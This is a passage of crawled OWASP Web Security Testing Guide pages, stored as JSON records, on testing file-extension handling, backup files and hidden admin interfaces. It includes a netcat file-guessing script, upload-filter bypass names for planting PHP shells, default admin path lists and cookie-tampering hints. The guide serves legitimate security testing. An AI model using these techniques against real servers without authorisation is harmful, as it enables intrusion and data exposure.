Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html) , OWASP\n - [SP 800-92](https://csrc.nist.gov/publications/detail/sp/800-92/final) Guide to Computer Security Log Management, NIST\n - [PCI DSS v3.2.1](https://www.pcisecuritystandards.org/document_library) Requirement 10 and PA-DSS v3.2 Requirement 4, PCI Security Standards Council\n- Generic:\n - [CERT Security Improvement Modules: Securing Public Web Servers](https://resources.sei.cmu.edu/asset_files/SecurityImprovementModule/2000_006_001_13637.pdf)\n - [How To: Use IISLockdown.exe](https://support.microsoft.com/en-us/help/325864/how-to-install-and-use-the-iis-lockdown-wizard)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 18494, "slov": 2837, "odkazu": 191, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:00", "sha256": "6712b247d50d90239f93f99e07deb5d647a73537f9baf706f1ff33c08e5f925f", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.cisecurity.org/blog/introducing-cis-cat-lite/", "https://github.com/microsoft/AttackSurfaceAnalyzer", "https://nvd.nist.gov/ncp/repository", "https://awe.com/mark/talks/apachecon2003us.html", "https://awe.com/mark/talks/apachecon2002us.html", "https://httpd.apache.org/docs/current/misc/perf-tuning.html", "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/jj635855(v=ws.11)", "https://www.cisecurity.org/benchmark/microsoft_iis/", "https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html", "https://csrc.nist.gov/publications/detail/sp/800-92/final", "https://www.pcisecuritystandards.org/document_library", "https://resources.sei.cmu.edu/asset_files/SecurityImprovementModule/2000_006_001_13637.pdf", "https://support.microsoft.com/en-us/help/325864/how-to-install-and-use-the-iis-lockdown-wizard", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/03-Test_File_Extensions_Handling_for_Sensitive_Information", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/03-Test_File_Extensions_Handling_for_Sensitive_Information", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/03-Test_File_Extensions_Handling_for_Sensitive_Information", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "02-Configuration and Deployment Management Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Test File Extensions Handling for Sensitive Information"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Forced Browsing"}, {"uroven": 4, "text": "Example"}, {"uroven": 3, "text": "File Upload"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Tools"}], "markdown": "# WSTG - v4.2\n\n# Test File Extensions Handling for Sensitive Information\n\n| ID |\n| --- |\n| WSTG-CONF-03 |\n\n## Summary\n\nFile extensions are commonly used in web servers to easily determine which technologies, languages and plugins must be used to fulfill the web request. While this behavior is consistent with RFCs and Web Standards, using standard file extensions provides the penetration tester useful information about the underlying technologies used in a web appliance and greatly simplifies the task of determining the attack scenario to be used on particular technologies. In addition, mis-configuration of web servers could easily reveal confidential information about access credentials.\n\nExtension checking is often used to validate files to be uploaded, which can lead to unexpected results because the content is not what is expected, or because of unexpected OS filename handling.\n\nDetermining how web servers handle requests corresponding to files having different extensions may help in understanding web server behavior depending on the kind of files that are accessed. For example, it can help to understand which file extensions are returned as text or plain versus those that cause server-side execution. The latter are indicative of technologies, languages or plugins that are used by web servers or application servers, and may provide additional insight on how the web application is engineered. For example, a “.pl” extension is usually associated with server-side Perl support. However, the file extension alone may be deceptive and not fully conclusive. For example, Perl server-side resources might be renamed to conceal the fact that they are indeed Perl related. See the next section on “web server components” for more on identifying server-side technologies and components.\n\n## Test Objectives\n\n- Dirbust sensitive file extensions, or extensions that might contain raw data ( *e.g.* scripts, raw data, credentials, etc.).\n- Validate that no system framework bypasses exist on the rules set.\n\n## How to Test\n\n### Forced Browsing\n\nSubmit requests with different file extensions and verify how they are handled. The verification should be on a per web directory basis. Verify directories that allow script execution. Web server directories can be identified by scanning tools which look for the presence of well-known directories. In addition, mirroring the web site structure allows the tester to reconstruct the tree of web directories served by the application.\n\nIf the web application architecture is load-balanced, it is important to assess all of the web servers. This may or may not be easy, depending on the configuration of the balancing infrastructure. In an infrastructure with redundant components there may be slight variations in the configuration of individual web or application servers. This may happen if the web architecture employs heterogeneous technologies (think of a set of IIS and Apache web servers in a load-balancing configuration, which may introduce slight asymmetric behavior between them, and possibly different vulnerabilities).\n\n#### Example\n\nThe tester has identified the existence of a file named `connection.inc`. Trying to access it directly gives back its contents, which are:\n\n```\n \n```\n\nThe tester determines the existence of a MySQL DBMS back end, and the (weak) credentials used by the web application to access it.\n\nThe following file extensions should never be returned by a web server, since they are related to files which may contain sensitive information or to files for which there is no reason to be served.\n\n- `.asa`\n- `.inc`\n- `.config`\n\nThe following file extensions are related to files which, when accessed, are either displayed or downloaded by the browser. Therefore, files with these extensions must be checked to verify that they are indeed supposed to be served (and are not leftovers), and that they do not contain sensitive information.\n\n- `.zip` , `.tar` , `.gz` , `.tgz` , `.rar` , etc.: (Compressed) archive files\n- `.java` : No reason to provide access to Java source files\n- `.txt` : Text files\n- `.pdf` : PDF documents\n- `.docx` , `.rtf` , `.xlsx` , `.pptx` , etc.: Office documents\n- `.bak` , `.old` and other extensions indicative of backup files (for example: `~` for Emacs backup files)\n\nThe list given above details only a few examples, since file extensions are too many to be comprehensively treated here. Refer to [FILExt](https://filext.com/) for a more thorough database of extensions.\n\nTo identify files having a given extensions a mix of techniques can be employed. These techniques can include Vulnerability Scanners, spidering and mirroring tools, manually inspecting the application (this overcomes limitations in automatic spidering), querying search engines (see [Testing: Spidering and googling](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/01-Conduct_Search_Engine_Discovery_Reconnaissance_for_Information_Leakage)). See also [Testing for Old, Backup and Unreferenced Files](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/04-Review_Old_Backup_and_Unreferenced_Files_for_Sensitive_Information) which deals with the security issues related to “forgotten” files.\n\n### File Upload\n\nWindows 8.3 legacy file handling can sometimes be used to defeat file upload filters.\n\nUsage Examples:\n\n1. `file.phtml` gets processed as PHP code.\n2. `FILE~1.PHT` is served, but not processed by the PHP ISAPI handler.\n3. `shell.phPWND` can be uploaded.\n4. `SHELL~1.PHP` will be expanded and returned by the OS shell, then processed by the PHP ISAPI handler.\n\n### Gray-Box Testing\n\nPerforming white-box testing against file extensions handling amounts to checking the configurations of web servers or application servers taking part in the web application architecture, and verifying how they are instructed to serve different file extensions.\n\nIf the web application relies on a load-balanced, heterogeneous infrastructure, determine whether this may introduce different behavior.\n\n## Tools\n\nVulnerability scanners, such as Nessus and Nikto check for the existence of well-known web directories. They may allow the tester to download the web site structure, which is helpful when trying to determine the configuration of web directories and how individual file extensions are served. Other tools that can be used for this purpose include:\n\n- [wget](https://www.gnu.org/software/wget)\n- [curl](https://curl.haxx.se)\n- google for “web mirroring tools”.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 6628, "slov": 960, "odkazu": 181, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:01", "sha256": "6c35603ecfdec4a5223bb739087cbee970027e4c5a1a3bdca40cd61236854ec8", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://filext.com/", "https://www.gnu.org/software/wget", "https://curl.haxx.se/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/04-Review_Old_Backup_and_Unreferenced_Files_for_Sensitive_Information", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/04-Review_Old_Backup_and_Unreferenced_Files_for_Sensitive_Information", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/04-Review_Old_Backup_and_Unreferenced_Files_for_Sensitive_Information", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "02-Configuration and Deployment Management Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Review Old Backup and Unreferenced Files for Sensitive Information"}, {"uroven": 2, "text": "Summary"}, {"uroven": 3, "text": "Threats"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 4, "text": "Inference from the Naming Scheme Used for Published Content"}, {"uroven": 4, "text": "Other Clues in Published Content"}, {"uroven": 4, "text": "Blind Guessing"}, {"uroven": 4, "text": "Information Obtained Through Server Vulnerabilities and Misconfiguration"}, {"uroven": 4, "text": "Use of Publicly Available Information"}, {"uroven": 4, "text": "Filename Filter Bypass"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "Tools"}], "markdown": "# WSTG - v4.2\n\n# Review Old Backup and Unreferenced Files for Sensitive Information\n\n| ID |\n| --- |\n| WSTG-CONF-04 |\n\n## Summary\n\nWhile most of the files within a web server are directly handled by the server itself, it isn’t uncommon to find unreferenced or forgotten files that can be used to obtain important information about the infrastructure or the credentials.\n\nMost common scenarios include the presence of renamed old versions of modified files, inclusion files that are loaded into the language of choice and can be downloaded as source, or even automatic or manual backups in form of compressed archives. Backup files can also be generated automatically by the underlying file system the application is hosted on, a feature usually referred to as “snapshots”.\n\nAll these files may grant the tester access to inner workings, back doors, administrative interfaces, or even credentials to connect to the administrative interface or the database server.\n\nAn important source of vulnerability lies in files which have nothing to do with the application, but are created as a consequence of editing application files, or after creating on-the-fly backup copies, or by leaving in the web tree old files or unreferenced files.Performing in-place editing or other administrative actions on production web servers may inadvertently leave backup copies, either generated automatically by the editor while editing files, or by the administrator who is zipping a set of files to create a backup.\n\nIt is easy to forget such files and this may pose a serious security threat to the application. That happens because backup copies may be generated with file extensions differing from those of the original files. A `.tar`, `.zip` or `.gz` archive that we generate (and forget…) has obviously a different extension, and the same happens with automatic copies created by many editors (for example, emacs generates a backup copy named `file~` when editing `file`). Making a copy by hand may produce the same effect (think of copying `file` to `file.old`). The underlying file system the application is on could be making `snapshots` of your application at different points in time without your knowledge, which may also be accessible via the web, posing a similar but different `backup file` style threat to your application.\n\nAs a result, these activities generate files that are not needed by the application and may be handled differently than the original file by the web server. For example, if we make a copy of `login.asp` named `login.asp.old`, we are allowing users to download the source code of `login.asp`. This is because `login.asp.old` will be typically served as text or plain, rather than being executed because of its extension. In other words, accessing `login.asp` causes the execution of the server-side code of `login.asp`, while accessing `login.asp.old` causes the content of `login.asp.old` (which is, again, server-side code) to be plainly returned to the user and displayed in the browser. This may pose security risks, since sensitive information may be revealed.\n\nGenerally, exposing server-side code is a bad idea. Not only are you unnecessarily exposing business logic, but you may be unknowingly revealing application-related information which may help an attacker (path names, data structures, etc.). Not to mention the fact that there are too many scripts with embedded username and password in clear text (which is a careless and very dangerous practice).\n\nOther causes of unreferenced files are due to design or configuration choices when they allow diverse kind of application-related files such as data files, configuration files, log files, to be stored in file system directories that can be accessed by the web server. These files have normally no reason to be in a file system space that could be accessed via web, since they should be accessed only at the application level, by the application itself (and not by the casual user browsing around).\n\n### Threats\n\nOld, backup and unreferenced files present various threats to the security of a web application:\n\n- Unreferenced files may disclose sensitive information that can facilitate a focused attack against the application; for example include files containing database credentials, configuration files containing references to other hidden content, absolute file paths, etc.\n- Unreferenced pages may contain powerful functionality that can be used to attack the application; for example an administration page that is not linked from published content but can be accessed by any user who knows where to find it.\n- Old and backup files may contain vulnerabilities that have been fixed in more recent versions; for example `viewdoc.old.jsp` may contain a directory traversal vulnerability that has been fixed in `viewdoc.jsp` but can still be exploited by anyone who finds the old version.\n- Backup files may disclose the source code for pages designed to execute on the server; for example requesting `viewdoc.bak` may return the source code for `viewdoc.jsp` , which can be reviewed for vulnerabilities that may be difficult to find by making blind requests to the executable page. While this threat obviously applies to scripted languages, such as Perl, PHP, ASP, shell scripts, JSP, etc., it is not limited to them, as shown in the example provided in the next bullet.\n- Backup archives may contain copies of all files within (or even outside) the webroot. This allows an attacker to quickly enumerate the entire application, including unreferenced pages, source code, include files, etc. For example, if you forget a file named `myservlets.jar.old` file containing (a backup copy of) your servlet implementation classes, you are exposing a lot of sensitive information which is susceptible to decompilation and reverse engineering.\n- In some cases copying or editing a file does not modify the file extension, but modifies the filename. This happens for example in Windows environments, where file copying operations generate filenames prefixed with “Copy of “ or localized versions of this string. Since the file extension is left unchanged, this is not a case where an executable file is returned as plain text by the web server, and therefore not a case of source code disclosure. However, these files too are dangerous because there is a chance that they include obsolete and incorrect logic that, when invoked, could trigger application errors, which might yield valuable information to an attacker, if diagnostic message display is enabled.\n- Log files may contain sensitive information about the activities of application users, for example sensitive data passed in URL parameters, session IDs, URLs visited (which may disclose additional unreferenced content), etc. Other log files (e.g. ftp logs) may contain sensitive information about the maintenance of the application by system administrators.\n- File system snapshots may contain copies of the code that contain vulnerabilities that have been fixed in more recent versions. For example `/.snapshot/monthly.1/view.php` may contain a directory traversal vulnerability that has been fixed in `/view.php` but can still be exploited by anyone who finds the old version.\n\n## Test Objectives\n\n- Find and analyse unreferenced files that might contain sensitive information.\n\n## How to Test\n\n### Black-Box Testing\n\nTesting for unreferenced files uses both automated and manual techniques, and typically involves a combination of the following:\n\n#### Inference from the Naming Scheme Used for Published Content\n\nEnumerate all of the application’s pages and functionality. This can be done manually using a browser, or using an application spidering tool. Most applications use a recognizable naming scheme, and organize resources into pages and directories using words that describe their function. From the naming scheme used for published content, it is often possible to infer the name and location of unreferenced pages. For example, if a page `viewuser.asp` is found, then look also for `edituser.asp`, `adduser.asp` and `deleteuser.asp`. If a directory `/app/user` is found, then look also for `/app/admin` and `/app/manager`.\n\n#### Other Clues in Published Content\n\nMany web applications leave clues in published content that can lead to the discovery of hidden pages and functionality. These clues often appear in the source code of HTML and JavaScript files. The source code for all published content should be manually reviewed to identify clues about other pages and functionality. For example:\n\nProgrammers’ comments and commented-out sections of source code may refer to hidden content:\n\n```\n \n```\n\nJavaScript may contain page links that are only rendered within the user’s GUI under certain circumstances:\n\n```\nvar adminUser=false; if (adminUser) menu.add (new menuItem (\"Maintain users\", \"/admin/useradmin.jsp\")); \n```\n\nHTML pages may contain FORMs that have been hidden by disabling the SUBMIT element:\n\n```\n
\n```\n\nAnother source of clues about unreferenced directories is the `/robots.txt` file used to provide instructions to web robots:\n\n```\nUser-agent: *\nDisallow: /Admin\nDisallow: /uploads\nDisallow: /backup\nDisallow: /~jbloggs\nDisallow: /include\n```\n\n#### Blind Guessing\n\nIn its simplest form, this involves running a list of common filenames through a request engine in an attempt to guess files and directories that exist on the server. The following netcat wrapper script will read a wordlist from stdin and perform a basic guessing attack:\n\n```\n#!/bin/bash server=example.org\nport=80\n\nwhile read url\ndo\necho -ne \"$url\\t\" echo -e \"GET /$url HTTP/1.0\\nHost: $server\\n\" | netcat $server $port | head -1 done | tee outputfile\n```\n\nDepending upon the server, GET may be replaced with HEAD for faster results. The output file specified can be grepped for “interesting” response codes. The response code 200 (OK) usually indicates that a valid resource has been found (provided the server does not deliver a custom “not found” page using the 200 code). But also look out for 301 (Moved), 302 (Found), 401 (Unauthorized), 403 (Forbidden) and 500 (Internal error), which may also indicate resources or directories that are worthy of further investigation.\n\nThe basic guessing attack should be run against the webroot, and also against all directories that have been identified through other enumeration techniques. More advanced/effective guessing attacks can be performed as follows:\n\n- Identify the file extensions in use within known areas of the application (e.g. jsp, aspx, html), and use a basic wordlist appended with each of these extensions (or use a longer list of common extensions if resources permit).\n- For each file identified through other enumeration techniques, create a custom wordlist derived from that filename. Get a list of common file extensions (including ~, bak, txt, src, dev, old, inc, orig, copy, tmp, swp, etc.) and use each extension before, after, and instead of, the extension of the actual filename.\n\nNote: Windows file copying operations generate filenames prefixed with “Copy of “ or localized versions of this string, hence they do not change file extensions. While “Copy of “ files typically do not disclose source code when accessed, they might yield valuable information in case they cause errors when invoked.\n\n#### Information Obtained Through Server Vulnerabilities and Misconfiguration\n\nThe most obvious way in which a misconfigured server may disclose unreferenced pages is through directory listing. Request all enumerated directories to identify any which provide a directory listing.\n\nNumerous vulnerabilities have been found in individual web servers which allow an attacker to enumerate unreferenced content, for example:\n\n- Apache ?M=D directory listing vulnerability.\n- Various IIS script source disclosure vulnerabilities.\n- IIS WebDAV directory listing vulnerabilities.\n\n#### Use of Publicly Available Information\n\nPages and functionality in Internet-facing web applications that are not referenced from within the application itself may be referenced from other public domain sources. There are various sources of these references:\n\n- Pages that used to be referenced may still appear in the archives of Internet search engines. For example, `1998results.asp` may no longer be linked from a company’s website, but may remain on the server and in search engine databases. This old script may contain vulnerabilities that could be used to compromise the entire site. The `site:` Google search operator may be used to run a query only against the domain of choice, such as in: `site:www.example.com` . Using search engines in this way has lead to a broad array of techniques which you may find useful and that are described in the `Google Hacking` section of this Guide. Check it to hone your testing skills via Google. Backup files are not likely to be referenced by any other files and therefore may have not been indexed by Google, but if they lie in browsable directories the search engine might know about them.\n- In addition, Google and Yahoo keep cached versions of pages found by their robots. Even if `1998results.asp` has been removed from the target server, a version of its output may still be stored by these search engines. The cached version may contain references to, or clues about, additional hidden content that still remains on the server.\n- Content that is not referenced from within a target application may be linked to by third-party websites. For example, an application which processes online payments on behalf of third-party traders may contain a variety of bespoke functionality which can (normally) only be found by following links within the web sites of its customers.\n\n#### Filename Filter Bypass\n\nBecause deny list filters are based on regular expressions, one can sometimes take advantage of obscure OS filename expansion features in which work in ways the developer didn’t expect. The tester can sometimes exploit differences in ways that filenames are parsed by the application, web server, and underlying OS and it’s filename conventions.\n\nExample: Windows 8.3 filename expansion `c:\\\\program files` becomes `C:\\\\PROGRA\\~1`\n\n- Remove incompatible characters\n- Convert spaces to underscores\n- Take the first six characters of the basename\n- Add `~` which is used to distinguish files with names using the same six initial characters\n- This convention changes after the first 3 cname ollisions\n- Truncate file extension to three characters\n- Make all the characters uppercase\n\n### Gray-Box Testing\n\nPerforming gray box testing against old and backup files requires examining the files contained in the directories belonging to the set of web directories served by the web server(s) of the web application infrastructure. Theoretically the examination should be performed by hand to be thorough. However, since in most cases copies of files or backup files tend to be created by using the same naming conventions, the search can be easily scripted. For example, editors leave behind backup copies by naming them with a recognizable extension or ending and humans tend to leave behind files with a `.old` or similar predictable extensions. A good strategy is that of periodically scheduling a background job checking for files with extensions likely to identify them as copy or backup files, and performing manual checks as well on a longer time basis.\n\n## Remediation\n\nTo guarantee an effective protection strategy, testing should be compounded by a security policy which clearly forbids dangerous practices, such as:\n\n- Editing files in-place on the web server or application server file systems. This is a particularly bad habit, since it is likely to generate backup or temporary files by the editors. It is amazing to see how often this is done, even in large organizations. If you absolutely need to edit files on a production system, do ensure that you don’t leave behind anything which is not explicitly intended, and consider that you are doing it at your own risk.\n- Carefully check any other activity performed on file systems exposed by the web server, such as spot administration activities. For example, if you occasionally need to take a snapshot of a couple of directories (which you should not do on a production system), you may be tempted to zip them first. Be careful not to leave behind those archive files.\n- Appropriate configuration management policies should help prevent obsolete and un-referenced files.\n- Applications should be designed not to create (or rely on) files stored under the web directory trees served by the web server. Data files, log files, configuration files, etc. should be stored in directories not accessible by the web server, to counter the possibility of information disclosure (not to mention data modification if web directory permissions allow writing).\n- File system snapshots should not be accessible via the web if the document root is on a file system using this technology. Configure your web server to deny access to such directories, for example under Apache a location directive such this should be used:\n\n```\n\n Order deny,allow\n Deny from all\n \n```\n\n## Tools\n\nVulnerability assessment tools tend to include checks to spot web directories having standard names (such as “admin”, “test”, “backup”, etc.), and to report any web directory which allows indexing. If you can’t get any directory listing, you should try to check for likely backup extensions. Check for example\n\n- [Nessus](https://www.tenable.com/products/nessus)\n- [Nikto2](https://cirt.net/Nikto2)\n\nWeb spider tools\n\n- [wget](https://www.gnu.org/software/wget/)\n- [Wget for Windows](http://www.interlog.com/~tcharron/wgetwin.html)\n- [Sam Spade](https://web.archive.org/web/20090926061558/http://preview.samspade.org/ssw/download.html)\n- [Spike proxy includes a web site crawler function](https://www.spikeproxy.com/)\n- [Xenu](http://home.snafu.de/tilman/xenulink.html)\n- [curl](https://curl.haxx.se)\n\nSome of them are also included in standard Linux distributions. Web development tools usually include facilities to identify broken links and unreferenced files.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 18270, "slov": 2780, "odkazu": 186, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:02", "sha256": "27425af919b3c179ba1e7d5417e2fa58faf6eeef9b4a8b3633d1654a1b2debb9", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.tenable.com/products/nessus", "https://cirt.net/Nikto2", "https://www.gnu.org/software/wget/", "http://www.interlog.com/~tcharron/wgetwin.html", "http://preview.samspade.org/ssw/download.html", "https://www.spikeproxy.com/", "http://home.snafu.de/tilman/xenulink.html", "https://curl.haxx.se/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/05-Enumerate_Infrastructure_and_Application_Admin_Interfaces", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/05-Enumerate_Infrastructure_and_Application_Admin_Interfaces", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/05-Enumerate_Infrastructure_and_Application_Admin_Interfaces", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "02-Configuration and Deployment Management Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Enumerate Infrastructure and Application Admin Interfaces"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.2\n\n# Enumerate Infrastructure and Application Admin Interfaces\n\n| ID |\n| --- |\n| WSTG-CONF-05 |\n\n## Summary\n\nAdministrator interfaces may be present in the application or on the application server to allow certain users to undertake privileged activities on the site. Tests should be undertaken to reveal if and how this privileged functionality can be accessed by an unauthorized or standard user.\n\nAn application may require an administrator interface to enable a privileged user to access functionality that may make changes to how the site functions. Such changes may include:\n\n- user account provisioning\n- site design and layout\n- data manipulation\n- configuration changes\n\nIn many instances, such interfaces do not have sufficient controls to protect them from unauthorized access. Testing is aimed at discovering these administrator interfaces and accessing functionality intended for the privileged users.\n\n## Test Objectives\n\n- Identify hidden administrator interfaces and functionality.\n\n## How to Test\n\n### Black-Box Testing\n\nThe following section describes vectors that may be used to test for the presence of administrative interfaces. These techniques may also be used to test for related issues including privilege escalation, and are described elsewhere in this guide(for example [Testing for bypassing authorization schema](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/02-Testing_for_Bypassing_Authorization_Schema) and [Testing for Insecure Direct Object References](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References) in greater detail.\n\n- Directory and file enumeration. An administrative interface may be present but not visibly available to the tester. Attempting to guess the path of the administrative interface may be as simple as requesting: */admin or /administrator etc..* or in some scenarios can be revealed within seconds using [Google dorks](https://www.exploit-db.com/google-hacking-database) .\n- There are many tools available to perform brute forcing of server contents, see the tools section below for more information. A tester may have to also identify the filename of the administration page. Forcibly browsing to the identified page may provide access to the interface.\n- Comments and links in source code. Many sites use common code that is loaded for all site users. By examining all source sent to the client, links to administrator functionality may be discovered and should be investigated.\n- Reviewing server and application documentation. If the application server or application is deployed in its default configuration it may be possible to access the administration interface using information described in configuration or help documentation. Default password lists should be consulted if an administrative interface is found and credentials are required.\n- Publicly available information. Many applications such as WordPress have default administrative interfaces .\n- Alternative server port. Administration interfaces may be seen on a different port on the host than the main application. For example, Apache Tomcat’s Administration interface can often be seen on port 8080.\n- Parameter tampering. A GET or POST parameter or a cookie variable may be required to enable the administrator functionality. Clues to this include the presence of hidden fields such as:\n\n```\n \n```\n\nor in a cookie:\n\n`Cookie: session_cookie; useradmin=0`\n\nOnce an administrative interface has been discovered, a combination of the above techniques may be used to attempt to bypass authentication. If this fails, the tester may wish to attempt a brute force attack. In such an instance the tester should be aware of the potential for administrative account lockout if such functionality is present.\n\n### Gray-Box Testing\n\nA more detailed examination of the server and application components should be undertaken to ensure hardening (i.e. administrator pages are not accessible to everyone through the use of IP filtering or other controls), and where applicable, verification that all components do not use default credentials or configurations.\nSource code should be reviewed to ensure that the authorization and authentication model ensures clear separation of duties between normal users and site administrators. User interface functions shared between normal and administrator users should be reviewed to ensure clear separation between the drawing of such components and information leakage from such shared functionality.\n\nEach web framework may have its own admin default pages or path. For example\n\nWebSphere:\n\n```\n/admin\n/admin-authz.xml\n/admin.conf\n/admin.passwd\n/admin/*\n/admin/logon.jsp\n/admin/secure/logon.jsp\n```\n\nPHP:\n\n```\n/phpinfo\n/phpmyadmin/\n/phpMyAdmin/\n/mysqladmin/\n/MySQLadmin\n/MySQLAdmin\n/login.php\n/logon.php\n/xmlrpc.php\n/dbadmin\n```\n\nFrontPage:\n\n```\n/admin.dll\n/admin.exe\n/administrators.pwd\n/author.dll\n/author.exe\n/author.log\n/authors.pwd\n/cgi-bin\n```\n\nWebLogic:\n\n```\n/AdminCaptureRootCA\n/AdminClients\n/AdminConnections\n/AdminEvents\n/AdminJDBC\n/AdminLicense\n/AdminMain\n/AdminProps\n/AdminRealm\n/AdminThreads\n```\n\nWordPress:\n\n```\nwp-admin/\nwp-admin/about.php\nwp-admin/admin-ajax.php\nwp-admin/admin-db.php\nwp-admin/admin-footer.php\nwp-admin/admin-functions.php\nwp-admin/admin-header.php\n```\n\n## Tools\n\n- [OWASP ZAP - Forced Browse](https://www.zaproxy.org/docs/desktop/addons/forced-browse/) is a currently maintained use of OWASP’s previous DirBuster project.\n- [THC-HYDRA](https://github.com/vanhauser-thc/thc-hydra) is a tool that allows brute-forcing of many 